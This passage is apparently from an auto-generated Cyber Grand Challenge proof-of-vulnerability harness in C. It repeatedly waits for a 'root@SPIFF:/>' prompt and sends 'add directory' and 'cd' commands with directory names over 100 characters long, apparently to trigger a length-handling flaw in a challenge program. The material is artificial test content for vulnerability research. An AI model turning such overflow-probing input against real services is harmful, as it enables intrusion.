(read_00028_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00028_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00028_00000_match; pcre *read_00028_00000_pcre = cgc_init_regex(read_00028_00000_regex); if (read_00028_00000_pcre != NULL) { int rc = cgc_regex_match(read_00028_00000_pcre, 0, read_00028 + read_00028_ptr, read_00028_len - read_00028_ptr, &read_00028_00000_match); if (rc > 0) { read_00028_ptr += read_00028_00000_match.match_end - read_00028_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00028_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00028); if (read_00028_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00012_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00012_00000_len = 115; unsigned char *write_00012 = NULL; unsigned int write_00012_len = 0; write_00012 = cgc_append_buf(write_00012, &write_00012_len, write_00012_00000, write_00012_00000_len); if (write_00012_len > 0) { cgc_transmit_all(1, write_00012, write_00012_len); } cgc_free(write_00012); } while (0); do { unsigned char *read_00029; unsigned int read_00029_len; unsigned int read_00029_ptr = 0; //**** delimited read static unsigned char read_00029_delim[] = "\x40"; read_00029 = NULL; read_00029_len = 0; int read_00029_res = cgc_delimited_read(0, &read_00029, &read_00029_len, read_00029_delim, 1); if (read_00029_res) {} //silence unused variable warning //**** read match data static unsigned char match_00029_00000[] = "\x72\x6f\x6f\x74"; read_00029_ptr += cgc_data_match(read_00029 + read_00029_ptr, read_00029_len - read_00029_ptr, match_00029_00000, 4); cgc_free(read_00029); if (read_00029_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00030; unsigned int read_00030_len; unsigned int read_00030_ptr = 0; //**** delimited read static unsigned char read_00030_delim[] = "\x2f"; read_00030 = NULL; read_00030_len = 0; int read_00030_res = cgc_delimited_read(0, &read_00030, &read_00030_len, read_00030_delim, 1); if (read_00030_res) {} //silence unused variable warning //**** read match data static unsigned char match_00030_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00030_ptr += cgc_data_match(read_00030 + read_00030_ptr, read_00030_len - read_00030_ptr, match_00030_00000, 6); cgc_free(read_00030); if (read_00030_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00031; unsigned int read_00031_len; unsigned int read_00031_ptr = 0; //**** delimited read static unsigned char read_00031_delim[] = "\x3e"; read_00031 = NULL; read_00031_len = 0; int read_00031_res = cgc_delimited_read(0, &read_00031, &read_00031_len, read_00031_delim, 1); if (read_00031_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00031_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00031_00000_match; pcre *read_00031_00000_pcre = cgc_init_regex(read_00031_00000_regex); if (read_00031_00000_pcre != NULL) { int rc = cgc_regex_match(read_00031_00000_pcre, 0, read_00031 + read_00031_ptr, read_00031_len - read_00031_ptr, &read_00031_00000_match); if (rc > 0) { read_00031_ptr += read_00031_00000_match.match_end - read_00031_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00031_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00031); if (read_00031_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00013_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00013_00000_len = 104; unsigned char *write_00013 = NULL; unsigned int write_00013_len = 0; write_00013 = cgc_append_buf(write_00013, &write_00013_len, write_00013_00000, write_00013_00000_len); if (write_00013_len > 0) { cgc_transmit_all(1, write_00013, write_00013_len); } cgc_free(write_00013); } while (0); do { unsigned char *read_00032; unsigned int read_00032_len; unsigned int read_00032_ptr = 0; //**** delimited read static unsigned char read_00032_delim[] = "\x40"; read_00032 = NULL; read_00032_len = 0; int read_00032_res = cgc_delimited_read(0, &read_00032, &read_00032_len, read_00032_delim, 1); if (read_00032_res) {} //silence unused variable warning //**** read match data static unsigned char match_00032_00000[] = "\x72\x6f\x6f\x74"; read_00032_ptr += cgc_data_match(read_00032 + read_00032_ptr, read_00032_len - read_00032_ptr, match_00032_00000, 4); cgc_free(read_00032); if (read_00032_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00033; unsigned int read_00033_len; unsigned int read_00033_ptr = 0; //**** delimited read static unsigned char read_00033_delim[] = "\x2f"; read_00033 = NULL; read_00033_len = 0; int read_00033_res = cgc_delimited_read(0, &read_00033, &read_00033_len, read_00033_delim, 1); if (read_00033_res) {} //silence unused variable warning //**** read match data static unsigned char match_00033_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00033_ptr += cgc_data_match(read_00033 + read_00033_ptr, read_00033_len - read_00033_ptr, match_00033_00000, 6); cgc_free(read_00033); if (read_00033_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00034; unsigned int read_00034_len; unsigned int read_00034_ptr = 0; //**** delimited read static unsigned char read_00034_delim[] = "\x3e"; read_00034 = NULL; read_00034_len = 0; int read_00034_res = cgc_delimited_read(0, &read_00034, &read_00034_len, read_00034_delim, 1); if (read_00034_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00034_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00034_00000_match; pcre *read_00034_00000_pcre = cgc_init_regex(read_00034_00000_regex); if (read_00034_00000_pcre != NULL) { int rc = cgc_regex_match(read_00034_00000_pcre, 0, read_00034 + read_00034_ptr, read_00034_len - read_00034_ptr, &read_00034_00000_match); if (rc > 0) { read_00034_ptr += read_00034_00000_match.match_end - read_00034_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00034_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00034); if (read_00034_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00014_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00014_00000_len = 115; unsigned char *write_00014 = NULL; unsigned int write_00014_len = 0; write_00014 = cgc_append_buf(write_00014, &write_00014_len, write_00014_00000, write_00014_00000_len); if (write_00014_len > 0) { cgc_transmit_all(1, write_00014, write_00014_len); } cgc_free(write_00014); } while (0); do { unsigned char *read_00035; unsigned int read_00035_len; unsigned int read_00035_ptr = 0; //**** delimited read static unsigned char read_00035_delim[] = "\x40"; read_00035 = NULL; read_00035_len = 0; int read_00035_res = cgc_delimited_read(0, &read_00035, &read_00035_len, read_00035_delim, 1); if (read_00035_res) {} //silence unused variable warning //**** read match data static unsigned char match_00035_00000[] = "\x72\x6f\x6f\x74"; read_00035_ptr += cgc_data_match(read_00035 + read_00035_ptr, read_00035_len - read_00035_ptr, match_00035_00000, 4); cgc_free(read_00035); if (read_00035_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00036; unsigned int read_00036_len; unsigned int read_00036_ptr = 0; //**** delimited read static unsigned char read_00036_delim[] = "\x2f"; read_00036 = NULL; read_00036_len = 0; int read_00036_res = cgc_delimited_read(0, &read_00036, &read_00036_len, read_00036_delim, 1); if (read_00036_res) {} //silence unused variable warning //**** read match data static unsigned char match_00036_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00036_ptr += cgc_data_match(read_00036 + read_00036_ptr, read_00036_len - read_00036_ptr, match_00036_00000, 6); cgc_free(read_00036); if (read_00036_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00037; unsigned int read_00037_len; unsigned int read_00037_ptr = 0; //**** delimited read static unsigned char read_00037_delim[] = "\x3e"; read_00037 = NULL; read_00037_len = 0; int read_00037_res = cgc_delimited_read(0, &read_00037, &read_00037_len, read_00037_delim, 1); if (read_00037_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00037_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00037_00000_match; pcre *read_00037_00000_pcre = cgc_init_regex(read_00037_00000_regex); if (read_00037_00000_pcre != NULL) { int rc = cgc_regex_match(read_00037_00000_pcre, 0, read_00037 + read_00037_ptr, read_00037_len - read_00037_ptr, &read_00037_00000_match); if (rc > 0) { read_00037_ptr += read_00037_00000_match.match_end - read_00037_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00037_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00037); if (read_00037_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00015_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00015_00000_len = 104; unsigned char *write_00015 = NULL; unsigned int write_00015_len = 0; write_00015 = cgc_append_buf(write_00015, &write_00015_len, write_00015_00000, write_00015_00000_len); if (write_00015_len > 0) { cgc_transmit_all(1, write_00015, write_00015_len); } cgc_free(write_00015); } while (0); do { unsigned char *read_00038; unsigned int read_00038_len; unsigned int read_00038_ptr = 0; //**** delimited read static unsigned char read_00038_delim[] = "\x40"; read_00038 = NULL; read_00038_len = 0; int read_00038_res = cgc_delimited_read(0, &read_00038, &read_00038_len, read_00038_delim, 1); if (read_00038_res) {} //silence unused variable warning //**** read match data static unsigned char match_00038_00000[] = "\x72\x6f\x6f\x74"; read_00038_ptr += cgc_data_match(read_00038 + read_00038_ptr, read_00038_len - read_00038_ptr, match_00038_00000, 4); cgc_free(read_00038); if (read_00038_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00039; unsigned int read_00039_len; unsigned int read_00039_ptr = 0; //**** delimited read static unsigned char read_00039_delim[] = "\x2f"; read_00039 = NULL; read_00039_len = 0; int read_00039_res = cgc_delimited_read(0, &read_00039, &read_00039_len, read_00039_delim, 1); if (read_00039_res) {} //silence unused variable warning //**** read match data static unsigned char match_00039_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00039_ptr += cgc_data_match(read_00039 + read_00039_ptr, read_00039_len - read_00039_ptr, match_00039_00000, 6); cgc_free(read_00039); if (read_00039_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00040; unsigned int read_00040_len; unsigned int read_00040_ptr = 0; //**** delimited read static unsigned char read_00040_delim[] = "\x3e"; read_00040 = NULL; read_00040_len = 0; int read_00040_res = cgc_delimited_read(0, &read_00040, &read_00040_len, read_00040_delim, 1); if (read_00040_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00040_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00040_00000_match; pcre *read_00040_00000_pcre = cgc_init_regex(read_00040_00000_regex); if (read_00040_00000_pcre != NULL) { int rc = cgc_regex_match(read_00040_00000_pcre, 0, read_00040 + read_00040_ptr, read_00040_len - read_00040_ptr, &read_00040_00000_match); if (rc > 0) { read_00040_ptr += read_00040_00000_match.match_end - read_00040_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00040_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00040); if (read_00040_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00016_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00016_00000_len = 115; unsigned char *write_00016 = NULL; unsigned int write_00016_len = 0; write_00016 = cgc_append_buf(write_00016, &write_00016_len, write_00016_00000, write_00016_00000_len); if (write_00016_len > 0) { cgc_transmit_all(1, write_00016, write_00016_len); } cgc_free(write_00016); } while (0); do { unsigned char *read_00041; unsigned int read_00041_len; unsigned int read_00041_ptr = 0; //**** delimited read static unsigned char read_00041_delim[] = "\x40"; read_00041 = NULL; read_00041_len = 0; int read_00041_res = cgc_delimited_read(0, &read_00041, &read_00041_len, read_00041_delim, 1); if (read_00041_res) {} //silence unused variable warning //**** read match data static unsigned char match_00041_00000[] = "\x72\x6f\x6f\x74"; read_00041_ptr += cgc_data_match(read_00041 + read_00041_ptr, read_00041_len - read_00041_ptr, match_00041_00000, 4); cgc_free(read_00041); if (read_00041_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00042; unsigned int read_00042_len; unsigned int read_00042_ptr = 0; //**** delimited read static unsigned char read_00042_delim[] = "\x2f"; read_00042 = NULL; read_00042_len = 0; int read_00042_res = cgc_delimited_read(0, &read_00042, &read_00042_len, read_00042_delim, 1); if (read_00042_res) {} //silence unused variable warning //**** read match data static unsigned char match_00042_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00042_ptr += cgc_data_match(read_00042 + read_00042_ptr, read_00042_len - read_00042_ptr, match_00042_00000, 6); cgc_free(read_00042); if (read_00042_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00043; unsigned int read_00043_len; unsigned int read_00043_ptr = 0; //**** delimited read static unsigned char read_00043_delim[] = "\x3e"; read_00043 = NULL; read_00043_len = 0; int read_00043_res = cgc_delimited_read(0, &read_00043, &read_00043_len, read_00043_delim, 1); if (read_00043_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00043_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00043_00000_match; pcre *read_00043_00000_pcre = cgc_init_regex(read_00043_00000_regex); if (read_00043_00000_pcre != NULL) { int rc = cgc_regex_match(read_00043_00000_pcre, 0, read_00043 + read_00043_ptr, read_00043_len - read_00043_ptr, &read_00043_00000_match); if (rc > 0) { read_00043_ptr += read_00043_00000_match.match_end - read_00043_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00043_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00043); if (read_00043_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00017_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00017_00000_len = 104; unsigned char *write_00017 = NULL; unsigned int write_00017_len = 0; write_00017 = cgc_append_buf(write_00017, &write_00017_len, write_00017_00000, write_00017_00000_len); if (write_00017_len > 0) { cgc_transmit_all(1, write_00017, write_00017_len); } cgc_free(write_00017); } while (0); do { unsigned char *read_00044; unsigned int read_00044_len; unsigned int read_00044_ptr = 0; //**** delimited read static unsigned char read_00044_delim[] = "\x40"; read_00044 = NULL; read_00044_len = 0; int read_00044_res = cgc_delimited_read(0, &read_00044, &read_00044_len, read_00044_delim, 1); if (read_00044_res) {} //silence unused variable warning //**** read match data static unsigned char match_00044_00000[] = "\x72\x6f\x6f\x74"; read_00044_ptr += cgc_data_match(read_00044 + read_00044_ptr, read_00044_len - read_00044_ptr, match_00044_00000, 4); cgc_free(read_00044); if (read_00044_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00045; unsigned int read_00045_len; unsigned int read_00045_ptr = 0; //**** delimited read static unsigned char read_00045_delim[] = "\x2f"; read_00045 = NULL; read_00045_len = 0; int read_00045_res = cgc_delimited_read(0, &read_00045, &read_00045_len, read_00045_delim, 1); if (read_00045_res) {} //silence unused variable warning //**** read match data static unsigned char match_00045_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00045_ptr += cgc_data_match(read_00045 + read_00045_ptr, read_00045_len - read_00045_ptr, match_00045_00000, 6); cgc_free(read_00045); if (read_00045_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00046; unsigned int read_00046_len; unsigned int read_00046_ptr = 0; //**** delimited read static unsigned char read_00046_delim[] = "\x3e"; read_00046 = NULL; read_00046_len = 0; int read_00046_res = cgc_delimited_read(0, &read_00046, &read_00046_len, read_00046_delim, 1); if (read_00046_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00046_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00046_00000_match; pcre *read_00046_00000_pcre = cgc_init_regex(read_00046_00000_regex); if (read_00046_00000_pcre != NULL) { int rc = cgc_regex_match(read_00046_00000_pcre, 0, read_00046 + read_00046_ptr, read_00046_len - read_00046_ptr, &read_00046_00000_match); if (rc > 0) { read_00046_ptr += read_00046_00000_match.match_end - read_00046_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00046_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00046); if (read_00046_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00018_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00018_00000_len = 115; unsigned char *write_00018 = NULL; unsigned int write_00018_len = 0; write_00018 = cgc_append_buf(write_00018, &write_00018_len, write_00018_00000, write_00018_00000_len); if (write_00018_len > 0) { cgc_transmit_all(1, write_00018, write_00018_len); } cgc_free(write_00018); } while (0); do { unsigned char *read_00047; unsigned int read_00047_len; unsigned int read_00047_ptr = 0; //**** delimited read static unsigned char read_00047_delim[] = "\x40"; read_00047 = NULL; read_00047_len = 0; int read_00047_res = cgc_delimited_read(0, &read_00047, &read_00047_len, read_00047_delim, 1); if (read_00047_res) {} //silence unused variable warning //**** read match data static unsigned char match_00047_00000[] = "\x72\x6f\x6f\x74"; read_00047_ptr += cgc_data_match(read_00047 + read_00047_ptr, read_00047_len - read_00047_ptr, match_00047_00000, 4); cgc_free(read_00047); if (read_00047_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00048; unsigned int read_00048_len; unsigned int read_00048_ptr = 0; //**** delimited read static unsigned char read_00048_delim[] = "\x2f"; read_00048 = NULL; read_00048_len = 0; int read_00048_res = cgc_delimited_read(0, &read_00048, &read_00048_len, read_00048_delim, 1); if (read_00048_res) {} //silence unused variable warning //**** read match data static unsigned char match_00048_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00048_ptr += cgc_data_match(read_00048 + read_00048_ptr, read_00048_len - read_00048_ptr, match_00048_00000, 6); cgc_free(read_00048); if (read_00048_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00049; unsigned int read_00049_len; unsigned int read_00049_ptr = 0; //**** delimited read static unsigned char read_00049_delim[] = "\x3e"; read_00049 = NULL; read_00049_len = 0; int read_00049_res = cgc_delimited_read(0, &read_00049, &read_00049_len, read_00049_delim, 1); if (read_00049_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00049_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00049_00000_match; pcre *read_00049_00000_pcre = cgc_init_regex(read_00049_00000_regex); if (read_00049_00000_pcre != NULL) { int rc = cgc_regex_match(read_00049_00000_pcre, 0, read_00049 + read_00049_ptr, read_00049_len - read_00049_ptr, &read_00049_00000_match); if (rc > 0) { read_00049_ptr += read_00049_00000_match.match_end - read_00049_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00049_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00049); if (read_00049_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00019_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00019_00000_len = 104; unsigned char *write_00019 = NULL; unsigned int write_00019_len = 0; write_00019 = cgc_append_buf(write_00019, &write_00019_len, write_00019_00000, write_00019_00000_len); if (write_00019_len > 0) { cgc_transmit_all(1, write_00019, write_00019_len); } cgc_free(write_00019); } while (0); do { unsigned char *read_00050; unsigned int read_00050_len; unsigned int read_00050_ptr = 0; //**** delimited read static unsigned char read_00050_delim[] = "\x40"; read_00050 = NULL; read_00050_len = 0; int read_00050_res = cgc_delimited_read(0, &read_00050, &read_00050_len, read_00050_delim, 1); if (read_00050_res) {} //silence unused variable warning //**** read match data static unsigned char match_00050_00000[] = "\x72\x6f\x6f\x74"; read_00050_ptr += cgc_data_match(read_00050 + read_00050_ptr, read_00050_len - read_00050_ptr, match_00050_00000, 4); cgc_free(read_00050); if (read_00050_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00051; unsigned int read_00051_len; unsigned int read_00051_ptr = 0; //**** delimited read static unsigned char read_00051_delim[] = "\x2f"; read_00051 = NULL; read_00051_len = 0; int read_00051_res = cgc_delimited_read(0, &read_00051, &read_00051_len, read_00051_delim, 1); if (read_00051_res) {} //silence unused variable warning //**** read match data static unsigned char match_00051_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00051_ptr += cgc_data_match(read_00051 + read_00051_ptr, read_00051_len - read_00051_ptr, match_00051_00000, 6); cgc_free(read_00051); if (read_00051_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00052; unsigned int read_00052_len; unsigned int read_00052_ptr = 0; //**** delimited read static unsigned char read_00052_delim[] = "\x3e"; read_00052 = NULL; read_00052_len = 0; int read_00052_res = cgc_delimited_read(0, &read_00052, &read_00052_len, read_00052_delim, 1); if (read_00052_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00052_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00052_00000_match; pcre *read_00052_00000_pcre = cgc_init_regex(read_00052_00000_regex); if (read_00052_00000_pcre != NULL) { int rc = cgc_regex_match(read_00052_00000_pcre, 0, read_00052 + read_00052_ptr, read_00052_len - read_00052_ptr, &read_00052_00000_match); if (rc > 0) { read_00052_ptr += read_00052_00000_match.match_end - read_00052_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00052_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00052); if (read_00052_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00020_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00020_00000_len = 115; unsigned char *write_00020 = NULL; unsigned int write_00020_len = 0; write_00020 = cgc_append_buf(write_00020, &write_00020_len, write_00020_00000, write_00020_00000_len); if (write_00020_len > 0) { cgc_transmit_all(1, write_00020, write_00020_len); } cgc_free(write_00020); } while (0); do { unsigned char *read_00053; unsigned int read_00053_len; unsigned int read_00053_ptr = 0; //**** delimited read static unsigned char read_00053_delim[] = "\x40"; read_00053 = NULL; read_00053_len = 0; int read_00053_res = cgc_delimited_read(0, &read_00053, &read_00053_len, read_00053_delim, 1); if (read_00053_res) {} //silence unused variable warning //**** read match data static unsigned char match_00053_00000[] = "\x72\x6f\x6f\x74"; read_00053_ptr += cgc_data_match(read_00053 + read_00053_ptr, read_00053_len - read_00053_ptr, match_00053_00000, 4); cgc_free(read_00053); if (read_00053_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00054; unsigned int read_00054_len; unsigned int read_00054_ptr = 0; //**** delimited read static unsigned char read_00054_delim[] = "\x2f"; read_00054 = NULL; read_00054_len = 0; int read_00054_res = cgc_delimited_read(0, &read_00054, &read_00054_len, read_00054_delim, 1); if (read_00054_res) {} //silence unused variable warning //**** read match data static unsigned char match_00054_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00054_ptr 